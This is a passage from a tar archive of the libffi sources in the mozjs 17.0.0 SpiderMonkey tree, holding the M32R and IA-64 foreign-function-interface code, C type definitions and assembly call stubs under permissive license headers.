sstanglsstanglmozjs17.0.0/js/src/ctypes/libffi/src/m32r/ffitarget.h0000664000175000017500000000335212106270662022246 0ustar sstanglsstangl/* -----------------------------------------------------------------*-C-*- ffitarget.h - Copyright (c) 2004 Renesas Technology. Target configuration macros for M32R. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL RENESAS TECHNOLOGY BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ #ifndef LIBFFI_TARGET_H #define LIBFFI_TARGET_H /* ---- Generic type definitions ----------------------------------------- */ #ifndef LIBFFI_ASM typedef unsigned long ffi_arg; typedef signed long ffi_sarg; typedef enum ffi_abi { FFI_FIRST_ABI = 0, FFI_SYSV, FFI_LAST_ABI, FFI_DEFAULT_ABI = FFI_SYSV } ffi_abi; #endif #define FFI_CLOSURES 0 #define FFI_TRAMPOLINE_SIZE 24 #define FFI_NATIVE_RAW_API 0 #endif mozjs17.0.0/js/src/ctypes/libffi/src/m32r/ffi.c0000664000175000017500000001271512106270662021035 0ustar sstanglsstangl/* ----------------------------------------------------------------------- ffi.c - Copyright (c) 2004 Renesas Technology Copyright (c) 2008 Red Hat, Inc. M32R Foreign Function Interface Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL RENESAS TECHNOLOGY BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ #include #include #include /* ffi_prep_args is called by the assembly routine once stack space has been allocated for the function's arguments. */ void ffi_prep_args(char *stack, extended_cif *ecif) { unsigned int i; int tmp; unsigned int avn; void **p_argv; char *argp; ffi_type **p_arg; tmp = 0; argp = stack; if (ecif->cif->rtype->type == FFI_TYPE_STRUCT && ecif->cif->rtype->size > 8) { *(void **) argp = ecif->rvalue; argp += 4; } avn = ecif->cif->nargs; p_argv = ecif->avalue; for (i = ecif->cif->nargs, p_arg = ecif->cif->arg_types; (i != 0) && (avn != 0); i--, p_arg++) { size_t z; /* Align if necessary. */ if (((*p_arg)->alignment - 1) & (unsigned) argp) argp = (char *) ALIGN (argp, (*p_arg)->alignment); if (avn != 0) { avn--; z = (*p_arg)->size; if (z < sizeof (int)) { z = sizeof (int); switch ((*p_arg)->type) { case FFI_TYPE_SINT8: *(signed int *) argp = (signed int)*(SINT8 *)(* p_argv); break; case FFI_TYPE_UINT8: *(unsigned int *) argp = (unsigned int)*(UINT8 *)(* p_argv); break; case FFI_TYPE_SINT16: *(signed int *) argp = (signed int)*(SINT16 *)(* p_argv); break; case FFI_TYPE_UINT16: *(unsigned int *) argp = (unsigned int)*(UINT16 *)(* p_argv); break; case FFI_TYPE_STRUCT: z = (*p_arg)->size; if ((*p_arg)->alignment != 1) memcpy (argp, *p_argv, z); else memcpy (argp + 4 - z, *p_argv, z); z = sizeof (int); break; default: FFI_ASSERT(0); } } else if (z == sizeof (int)) { *(unsigned int *) argp = (unsigned int)*(UINT32 *)(* p_argv); } else { if ((*p_arg)->type == FFI_TYPE_STRUCT) { if (z > 8) { *(unsigned int *) argp = (unsigned int)(void *)(* p_argv); z = sizeof(void *); } else { memcpy(argp, *p_argv, z); z = 8; } } else { /* Double or long long 64bit. */ memcpy (argp, *p_argv, z); } } p_argv++; argp += z; } } return; } /* Perform machine dependent cif processing. */ ffi_status ffi_prep_cif_machdep(ffi_cif *cif) { /* Set the return type flag. */ switch (cif->rtype->type) { case FFI_TYPE_VOID: cif->flags = (unsigned) cif->rtype->type; break; case FFI_TYPE_STRUCT: if (cif->rtype->size <= 4) cif->flags = FFI_TYPE_INT; else if (cif->rtype->size <= 8) cif->flags = FFI_TYPE_DOUBLE; else cif->flags = (unsigned) cif->rtype->type; break; case FFI_TYPE_SINT64: case FFI_TYPE_UINT64: case FFI_TYPE_DOUBLE: cif->flags = FFI_TYPE_DOUBLE; break; case FFI_TYPE_FLOAT: default: cif->flags = FFI_TYPE_INT; break; } return FFI_OK; } extern void ffi_call_SYSV(void (*)(char *, extended_cif *), extended_cif *, unsigned, unsigned, unsigned *, void (*fn)(void)); void ffi_call(ffi_cif *cif, void (*fn)(void), void *rvalue, void **avalue) { extended_cif ecif; ecif.cif = cif; ecif.avalue = avalue; /* If the return value is a struct and we don't have a return value address then we need to make one. */ if ((rvalue == NULL) && (cif->rtype->type == FFI_TYPE_STRUCT)) { ecif.rvalue = alloca (cif->rtype->size); } else ecif.rvalue = rvalue; switch (cif->abi) { case FFI_SYSV: ffi_call_SYSV(ffi_prep_args, &ecif, cif->bytes, cif->flags, ecif.rvalue, fn); if (cif->rtype->type == FFI_TYPE_STRUCT) { int size = cif->rtype->size; int align = cif->rtype->alignment; if (size < 4) { if (align == 1) *(unsigned long *)(ecif.rvalue) <<= (4 - size) * 8; } else if (4 < size && size < 8) { if (align == 1) { memcpy (ecif.rvalue, ecif.rvalue + 8-size, size); } else if (align == 2) { if (size & 1) size += 1; if (size != 8) memcpy (ecif.rvalue, ecif.rvalue + 8-size, size); } } } break; default: FFI_ASSERT(0); break; } } mozjs17.0.0/js/src/ctypes/libffi/src/m32r/sysv.S0000664000175000017500000000575212106270662021260 0ustar sstanglsstangl/* ----------------------------------------------------------------------- sysv.S - Copyright (c) 2004 Renesas Technology M32R Foreign Function Interface Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL RENESAS TECHNOLOGY BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ #define LIBFFI_ASM #include #include #ifdef HAVE_MACHINE_ASM_H #include #else /* XXX these lose for some platforms, I'm sure. */ #define CNAME(x) x #define ENTRY(x) .globl CNAME(x)! .type CNAME(x),%function! CNAME(x): #endif .text /* R0: ffi_prep_args */ /* R1: &ecif */ /* R2: cif->bytes */ /* R3: fig->flags */ /* sp+0: ecif.rvalue */ /* sp+4: fn */ /* This assumes we are using gas. */ ENTRY(ffi_call_SYSV) /* Save registers. */ push fp push lr push r3 push r2 push r1 push r0 mv fp, sp /* Make room for all of the new args. */ sub sp, r2 /* Place all of the ffi_prep_args in position. */ mv lr, r0 mv r0, sp /* R1 already set. */ /* And call. */ jl lr /* Move first 4 parameters in registers... */ ld r0, @(0,sp) ld r1, @(4,sp) ld r2, @(8,sp) ld r3, @(12,sp) /* ...and adjust the stack. */ ld lr, @(8,fp) cmpi lr, #16 bc adjust_stack ldi lr, #16 adjust_stack: add sp, lr /* Call the function. */ ld lr, @(28,fp) jl lr /* Remove the space we pushed for the args. */ mv sp, fp /* Load R2 with the pointer to storage for the return value. */ ld r2, @(24,sp) /* Load R3 with the return type code. */ ld r3, @(12,sp) /* If the return value pointer is NULL, assume no return value. */ beqz r2, epilogue /* Return INT. */ ldi r4, #FFI_TYPE_INT bne r3, r4, return_double st r0, @r2 bra epilogue return_double: /* Return DOUBLE or LONGDOUBLE. */ ldi r4, #FFI_TYPE_DOUBLE bne r3, r4, epilogue st r0, @r2 st r1, @(4,r2) epilogue: pop r0 pop r1 pop r2 pop r3 pop lr pop fp jmp lr .ffi_call_SYSV_end: .size CNAME(ffi_call_SYSV),.ffi_call_SYSV_end-CNAME(ffi_call_SYSV) mozjs17.0.0/js/src/ctypes/libffi/src/types.c0000664000175000017500000000553012106270662020647 0ustar sstanglsstangl/* ----------------------------------------------------------------------- types.c - Copyright (c) 1996, 1998 Red Hat, Inc. Predefined ffi_types needed by libffi. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ /* Hide the basic type definitions from the header file, so that we can redefine them here as "const". */ #define LIBFFI_HIDE_BASIC_TYPES #include #include /* Type definitions */ #define FFI_TYPEDEF(name, type, id) \ struct struct_align_##name { \ char c; \ type x; \ }; \ const ffi_type ffi_type_##name = { \ sizeof(type), \ offsetof(struct struct_align_##name, x), \ id, NULL \ } /* Size and alignment are fake here. They must not be 0. */ const ffi_type ffi_type_void = { 1, 1, FFI_TYPE_VOID, NULL }; FFI_TYPEDEF(uint8, UINT8, FFI_TYPE_UINT8); FFI_TYPEDEF(sint8, SINT8, FFI_TYPE_SINT8); FFI_TYPEDEF(uint16, UINT16, FFI_TYPE_UINT16); FFI_TYPEDEF(sint16, SINT16, FFI_TYPE_SINT16); FFI_TYPEDEF(uint32, UINT32, FFI_TYPE_UINT32); FFI_TYPEDEF(sint32, SINT32, FFI_TYPE_SINT32); FFI_TYPEDEF(uint64, UINT64, FFI_TYPE_UINT64); FFI_TYPEDEF(sint64, SINT64, FFI_TYPE_SINT64); FFI_TYPEDEF(pointer, void*, FFI_TYPE_POINTER); FFI_TYPEDEF(float, float, FFI_TYPE_FLOAT); FFI_TYPEDEF(double, double, FFI_TYPE_DOUBLE); #ifdef __alpha__ /* Even if we're not configured to default to 128-bit long double, maintain binary compatibility, as -mlong-double-128 can be used at any time. */ /* Validate the hard-coded number below. */ # if defined(__LONG_DOUBLE_128__) && FFI_TYPE_LONGDOUBLE != 4 # error FFI_TYPE_LONGDOUBLE out of date # endif const ffi_type ffi_type_longdouble = { 16, 16, 4, NULL }; #elif FFI_TYPE_LONGDOUBLE != FFI_TYPE_DOUBLE FFI_TYPEDEF(longdouble, long double, FFI_TYPE_LONGDOUBLE); #endif mozjs17.0.0/js/src/ctypes/libffi/src/ia64/0000775000175000017500000000000012106270662020077 5ustar sstanglsstanglmozjs17.0.0/js/src/ctypes/libffi/src/ia64/unix.S0000664000175000017500000002660112106270662021213 0ustar sstanglsstangl/* ----------------------------------------------------------------------- unix.S - Copyright (c) 1998, 2008 Red Hat, Inc. Copyright (c) 2000 Hewlett Packard Company IA64/unix Foreign Function Interface Primary author: Hans Boehm, HP Labs Loosely modeled on Cygnus code for other platforms. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ #define LIBFFI_ASM #include #include #include "ia64_flags.h" .pred.safe_across_calls p1-p5,p16-p63 .text /* int ffi_call_unix (struct ia64_args *stack, PTR64 rvalue, void (*fn)(void), int flags); */ .align 16 .global ffi_call_unix .proc ffi_call_unix ffi_call_unix: .prologue /* Bit o trickiness. We actually share a stack frame with ffi_call. Rely on the fact that ffi_call uses a vframe and don't bother tracking one here at all. */ .fframe 0 .save ar.pfs, r36 // loc0 alloc loc0 = ar.pfs, 4, 3, 8, 0 .save rp, loc1 mov loc1 = b0 .body add r16 = 16, in0 mov loc2 = gp mov r8 = in1 ;; /* Load up all of the argument registers. */ ldf.fill f8 = [in0], 32 ldf.fill f9 = [r16], 32 ;; ldf.fill f10 = [in0], 32 ldf.fill f11 = [r16], 32 ;; ldf.fill f12 = [in0], 32 ldf.fill f13 = [r16], 32 ;; ldf.fill f14 = [in0], 32 ldf.fill f15 = [r16], 24 ;; ld8 out0 = [in0], 16 ld8 out1 = [r16], 16 ;; ld8 out2 = [in0], 16 ld8 out3 = [r16], 16 ;; ld8 out4 = [in0], 16 ld8 out5 = [r16], 16 ;; ld8 out6 = [in0] ld8 out7 = [r16] ;; /* Deallocate the register save area from the stack frame. */ mov sp = in0 /* Call the target function. */ ld8 r16 = [in2], 8 ;; ld8 gp = [in2] mov b6 = r16 br.call.sptk.many b0 = b6 ;; /* Dispatch to handle return value. */ mov gp = loc2 zxt1 r16 = in3 ;; mov ar.pfs = loc0 addl r18 = @ltoffx(.Lst_table), gp ;; ld8.mov r18 = [r18], .Lst_table mov b0 = loc1 ;; shladd r18 = r16, 3, r18 ;; ld8 r17 = [r18] shr in3 = in3, 8 ;; add r17 = r17, r18 ;; mov b6 = r17 br b6 ;; .Lst_void: br.ret.sptk.many b0 ;; .Lst_uint8: zxt1 r8 = r8 ;; st8 [in1] = r8 br.ret.sptk.many b0 ;; .Lst_sint8: sxt1 r8 = r8 ;; st8 [in1] = r8 br.ret.sptk.many b0 ;; .Lst_uint16: zxt2 r8 = r8 ;; st8 [in1] = r8 br.ret.sptk.many b0 ;; .Lst_sint16: sxt2 r8 = r8 ;; st8 [in1] = r8 br.ret.sptk.many b0 ;; .Lst_uint32: zxt4 r8 = r8 ;; st8 [in1] = r8 br.ret.sptk.many b0 ;; .Lst_sint32: sxt4 r8 = r8 ;; st8 [in1] = r8 br.ret.sptk.many b0 ;; .Lst_int64: st8 [in1] = r8 br.ret.sptk.many b0 ;; .Lst_float: stfs [in1] = f8 br.ret.sptk.many b0 ;; .Lst_double: stfd [in1] = f8 br.ret.sptk.many b0 ;; .Lst_ldouble: stfe [in1] = f8 br.ret.sptk.many b0 ;; .Lst_small_struct: add sp = -16, sp cmp.lt p6, p0 = 8, in3 cmp.lt p7, p0 = 16, in3 cmp.lt p8, p0 = 24, in3 ;; add r16 = 8, sp add r17 = 16, sp add r18 = 24, sp ;; st8 [sp] = r8 (p6) st8 [r16] = r9 mov out0 = in1 (p7) st8 [r17] = r10 (p8) st8 [r18] = r11 mov out1 = sp mov out2 = in3 br.call.sptk.many b0 = memcpy# ;; mov ar.pfs = loc0 mov b0 = loc1 mov gp = loc2 br.ret.sptk.many b0 .Lst_hfa_float: add r16 = 4, in1 cmp.lt p6, p0 = 4, in3 ;; stfs [in1] = f8, 8 (p6) stfs [r16] = f9, 8 cmp.lt p7, p0 = 8, in3 cmp.lt p8, p0 = 12, in3 ;; (p7) stfs [in1] = f10, 8 (p8) stfs [r16] = f11, 8 cmp.lt p9, p0 = 16, in3 cmp.lt p10, p0 = 20, in3 ;; (p9) stfs [in1] = f12, 8 (p10) stfs [r16] = f13, 8 cmp.lt p6, p0 = 24, in3 cmp.lt p7, p0 = 28, in3 ;; (p6) stfs [in1] = f14 (p7) stfs [r16] = f15 br.ret.sptk.many b0 ;; .Lst_hfa_double: add r16 = 8, in1 cmp.lt p6, p0 = 8, in3 ;; stfd [in1] = f8, 16 (p6) stfd [r16] = f9, 16 cmp.lt p7, p0 = 16, in3 cmp.lt p8, p0 = 24, in3 ;; (p7) stfd [in1] = f10, 16 (p8) stfd [r16] = f11, 16 cmp.lt p9, p0 = 32, in3 cmp.lt p10, p0 = 40, in3 ;; (p9) stfd [in1] = f12, 16 (p10) stfd [r16] = f13, 16 cmp.lt p6, p0 = 48, in3 cmp.lt p7, p0 = 56, in3 ;; (p6) stfd [in1] = f14 (p7) stfd [r16] = f15 br.ret.sptk.many b0 ;; .Lst_hfa_ldouble: add r16 = 16, in1 cmp.lt p6, p0 = 16, in3 ;; stfe [in1] = f8, 32 (p6) stfe [r16] = f9, 32 cmp.lt p7, p0 = 32, in3 cmp.lt p8, p0 = 48, in3 ;; (p7) stfe [in1] = f10, 32 (p8) stfe [r16] = f11, 32 cmp.lt p9, p0 = 64, in3 cmp.lt p10, p0 = 80, in3 ;; (p9) stfe [in1] = f12, 32 (p10) stfe [r16] = f13, 32 cmp.lt p6, p0 = 96, in3 cmp.lt p7, p0 = 112, in3 ;; (p6) stfe [in1] = f14 (p7) stfe [r16] = f15 br.ret.sptk.many b0 ;; .endp ffi_call_unix .align 16 .global ffi_closure_unix .proc ffi_closure_unix #define FRAME_SIZE (8*16 + 8*8 + 8*16) ffi_closure_unix: .prologue .save ar.pfs, r40 // loc0 alloc loc0 = ar.pfs, 8, 4, 4, 0 .fframe FRAME_SIZE add r12 = -FRAME_SIZE, r12 .save rp, loc1 mov loc1 = b0 .save ar.unat, loc2 mov loc2 = ar.unat .body /* Retrieve closure pointer and real gp. */ #ifdef _ILP32 addp4 out0 = 0, gp addp4 gp = 16, gp #else mov out0 = gp add gp = 16, gp #endif ;; ld8 gp = [gp] /* Spill all of the possible argument registers. */ add r16 = 16 + 8*16, sp add r17 = 16 + 8*16 + 16, sp ;; stf.spill [r16] = f8, 32 stf.spill [r17] = f9, 32 mov loc3 = gp ;; stf.spill [r16] = f10, 32 stf.spill [r17] = f11, 32 ;; stf.spill [r16] = f12, 32 stf.spill [r17] = f13, 32 ;; stf.spill [r16] = f14, 32 stf.spill [r17] = f15, 24 ;; .mem.offset 0, 0 st8.spill [r16] = in0, 16 .mem.offset 8, 0 st8.spill [r17] = in1, 16 add out1 = 16 + 8*16, sp ;; .mem.offset 0, 0 st8.spill [r16] = in2, 16 .mem.offset 8, 0 st8.spill [r17] = in3, 16 add out2 = 16, sp ;; .mem.offset 0, 0 st8.spill [r16] = in4, 16 .mem.offset 8, 0 st8.spill [r17] = in5, 16 mov out3 = r8 ;; .mem.offset 0, 0 st8.spill [r16] = in6 .mem.offset 8, 0 st8.spill [r17] = in7 /* Invoke ffi_closure_unix_inner for the hard work. */ br.call.sptk.many b0 = ffi_closure_unix_inner ;; /* Dispatch to handle return value. */ mov gp = loc3 zxt1 r16 = r8 ;; addl r18 = @ltoffx(.Lld_table), gp mov ar.pfs = loc0 ;; ld8.mov r18 = [r18], .Lld_table mov b0 = loc1 ;; shladd r18 = r16, 3, r18 mov ar.unat = loc2 ;; ld8 r17 = [r18] shr r8 = r8, 8 ;; add r17 = r17, r18 add r16 = 16, sp ;; mov b6 = r17 br b6 ;; .label_state 1 .Lld_void: .restore sp add sp = FRAME_SIZE, sp br.ret.sptk.many b0 ;; .Lld_int: .body .copy_state 1 ld8 r8 = [r16] .restore sp add sp = FRAME_SIZE, sp br.ret.sptk.many b0 ;; .Lld_float: .body .copy_state 1 ldfs f8 = [r16] .restore sp add sp = FRAME_SIZE, sp br.ret.sptk.many b0 ;; .Lld_double: .body .copy_state 1 ldfd f8 = [r16] .restore sp add sp = FRAME_SIZE, sp br.ret.sptk.many b0 ;; .Lld_ldouble: .body .copy_state 1 ldfe f8 = [r16] .restore sp add sp = FRAME_SIZE, sp br.ret.sptk.many b0 ;; .Lld_small_struct: .body .copy_state 1 add r17 = 8, r16 cmp.lt p6, p0 = 8, r8 cmp.lt p7, p0 = 16, r8 cmp.lt p8, p0 = 24, r8 ;; ld8 r8 = [r16], 16 (p6) ld8 r9 = [r17], 16 ;; (p7) ld8 r10 = [r16] (p8) ld8 r11 = [r17] .restore sp add sp = FRAME_SIZE, sp br.ret.sptk.many b0 ;; .Lld_hfa_float: .body .copy_state 1 add r17 = 4, r16 cmp.lt p6, p0 = 4, r8 ;; ldfs f8 = [r16], 8 (p6) ldfs f9 = [r17], 8 cmp.lt p7, p0 = 8, r8 cmp.lt p8, p0 = 12, r8 ;; (p7) ldfs f10 = [r16], 8 (p8) ldfs f11 = [r17], 8 cmp.lt p9, p0 = 16, r8 cmp.lt p10, p0 = 20, r8 ;; (p9) ldfs f12 = [r16], 8 (p10) ldfs f13 = [r17], 8 cmp.lt p6, p0 = 24, r8 cmp.lt p7, p0 = 28, r8 ;; (p6) ldfs f14 = [r16] (p7) ldfs f15 = [r17] .restore sp add sp = FRAME_SIZE, sp br.ret.sptk.many b0 ;; .Lld_hfa_double: .body .copy_state 1 add r17 = 8, r16 cmp.lt p6, p0 = 8, r8 ;; ldfd f8 = [r16], 16 (p6) ldfd f9 = [r17], 16 cmp.lt p7, p0 = 16, r8 cmp.lt p8, p0 = 24, r8 ;; (p7) ldfd f10 = [r16], 16 (p8) ldfd f11 = [r17], 16 cmp.lt p9, p0 = 32, r8 cmp.lt p10, p0 = 40, r8 ;; (p9) ldfd f12 = [r16], 16 (p10) ldfd f13 = [r17], 16 cmp.lt p6, p0 = 48, r8 cmp.lt p7, p0 = 56, r8 ;; (p6) ldfd f14 = [r16] (p7) ldfd f15 = [r17] .restore sp add sp = FRAME_SIZE, sp br.ret.sptk.many b0 ;; .Lld_hfa_ldouble: .body .copy_state 1 add r17 = 16, r16 cmp.lt p6, p0 = 16, r8 ;; ldfe f8 = [r16], 32 (p6) ldfe f9 = [r17], 32 cmp.lt p7, p0 = 32, r8 cmp.lt p8, p0 = 48, r8 ;; (p7) ldfe f10 = [r16], 32 (p8) ldfe f11 = [r17], 32 cmp.lt p9, p0 = 64, r8 cmp.lt p10, p0 = 80, r8 ;; (p9) ldfe f12 = [r16], 32 (p10) ldfe f13 = [r17], 32 cmp.lt p6, p0 = 96, r8 cmp.lt p7, p0 = 112, r8 ;; (p6) ldfe f14 = [r16] (p7) ldfe f15 = [r17] .restore sp add sp = FRAME_SIZE, sp br.ret.sptk.many b0 ;; .endp ffi_closure_unix .section .rodata .align 8 .Lst_table: data8 @pcrel(.Lst_void) // FFI_TYPE_VOID data8 @pcrel(.Lst_sint32) // FFI_TYPE_INT data8 @pcrel(.Lst_float) // FFI_TYPE_FLOAT data8 @pcrel(.Lst_double) // FFI_TYPE_DOUBLE data8 @pcrel(.Lst_ldouble) // FFI_TYPE_LONGDOUBLE data8 @pcrel(.Lst_uint8) // FFI_TYPE_UINT8 data8 @pcrel(.Lst_sint8) // FFI_TYPE_SINT8 data8 @pcrel(.Lst_uint16) // FFI_TYPE_UINT16 data8 @pcrel(.Lst_sint16) // FFI_TYPE_SINT16 data8 @pcrel(.Lst_uint32) // FFI_TYPE_UINT32 data8 @pcrel(.Lst_sint32) // FFI_TYPE_SINT32 data8 @pcrel(.Lst_int64) // FFI_TYPE_UINT64 data8 @pcrel(.Lst_int64) // FFI_TYPE_SINT64 data8 @pcrel(.Lst_void) // FFI_TYPE_STRUCT data8 @pcrel(.Lst_int64) // FFI_TYPE_POINTER data8 @pcrel(.Lst_small_struct) // FFI_IA64_TYPE_SMALL_STRUCT data8 @pcrel(.Lst_hfa_float) // FFI_IA64_TYPE_HFA_FLOAT data8 @pcrel(.Lst_hfa_double) // FFI_IA64_TYPE_HFA_DOUBLE data8 @pcrel(.Lst_hfa_ldouble) // FFI_IA64_TYPE_HFA_LDOUBLE .Lld_table: data8 @pcrel(.Lld_void) // FFI_TYPE_VOID data8 @pcrel(.Lld_int) // FFI_TYPE_INT data8 @pcrel(.Lld_float) // FFI_TYPE_FLOAT data8 @pcrel(.Lld_double) // FFI_TYPE_DOUBLE data8 @pcrel(.Lld_ldouble) // FFI_TYPE_LONGDOUBLE data8 @pcrel(.Lld_int) // FFI_TYPE_UINT8 data8 @pcrel(.Lld_int) // FFI_TYPE_SINT8 data8 @pcrel(.Lld_int) // FFI_TYPE_UINT16 data8 @pcrel(.Lld_int) // FFI_TYPE_SINT16 data8 @pcrel(.Lld_int) // FFI_TYPE_UINT32 data8 @pcrel(.Lld_int) // FFI_TYPE_SINT32 data8 @pcrel(.Lld_int) // FFI_TYPE_UINT64 data8 @pcrel(.Lld_int) // FFI_TYPE_SINT64 data8 @pcrel(.Lld_void) // FFI_TYPE_STRUCT data8 @pcrel(.Lld_int) // FFI_TYPE_POINTER data8 @pcrel(.Lld_small_struct) // FFI_IA64_TYPE_SMALL_STRUCT data8 @pcrel(.Lld_hfa_float) // FFI_IA64_TYPE_HFA_FLOAT data8 @pcrel(.Lld_hfa_double) // FFI_IA64_TYPE_HFA_DOUBLE data8 @pcrel(.Lld_hfa_ldouble) // FFI_IA64_TYPE_HFA_LDOUBLE #if defined __ELF__ && defined __linux__ .section .note.GNU-stack,"",@progbits #endif mozjs17.0.0/js/src/ctypes/libffi/src/ia64/ia64_flags.h0000664000175000017500000000363512106270662022176 0ustar sstanglsstangl/* ----------------------------------------------------------------------- ia64_flags.h - Copyright (c) 2000 Hewlett Packard Company IA64/unix Foreign Function Interface Original author: Hans Boehm, HP Labs Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ /* "Type" codes used between assembly and C. When used as a part of a cfi->flags value, the low byte will be these extra type codes, and bits 8-31 will be the actual size of the type. */ /* Small structures containing N words in integer registers. */ #define FFI_IA64_TYPE_SMALL_STRUCT (FFI_TYPE_LAST + 1) /* Homogeneous Floating Point Aggregates (HFAs) which are returned in FP registers. */ #define FFI_IA64_TYPE_HFA_FLOAT (FFI_TYPE_LAST + 2) #define FFI_IA64_TYPE_HFA_DOUBLE (FFI_TYPE_LAST + 3) #define FFI_IA64_TYPE_HFA_LDOUBLE (FFI_TYPE_LAST + 4) mozjs17.0.0/js/src/ctypes/libffi/src/ia64/ffitarget.h0000664000175000017500000000361212106270662022225 0ustar sstanglsstangl/* -----------------------------------------------------------------*-C-*- ffitarget.h - Copyright (c) 1996-2003 Red Hat, Inc. Target configuration macros for IA-64. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 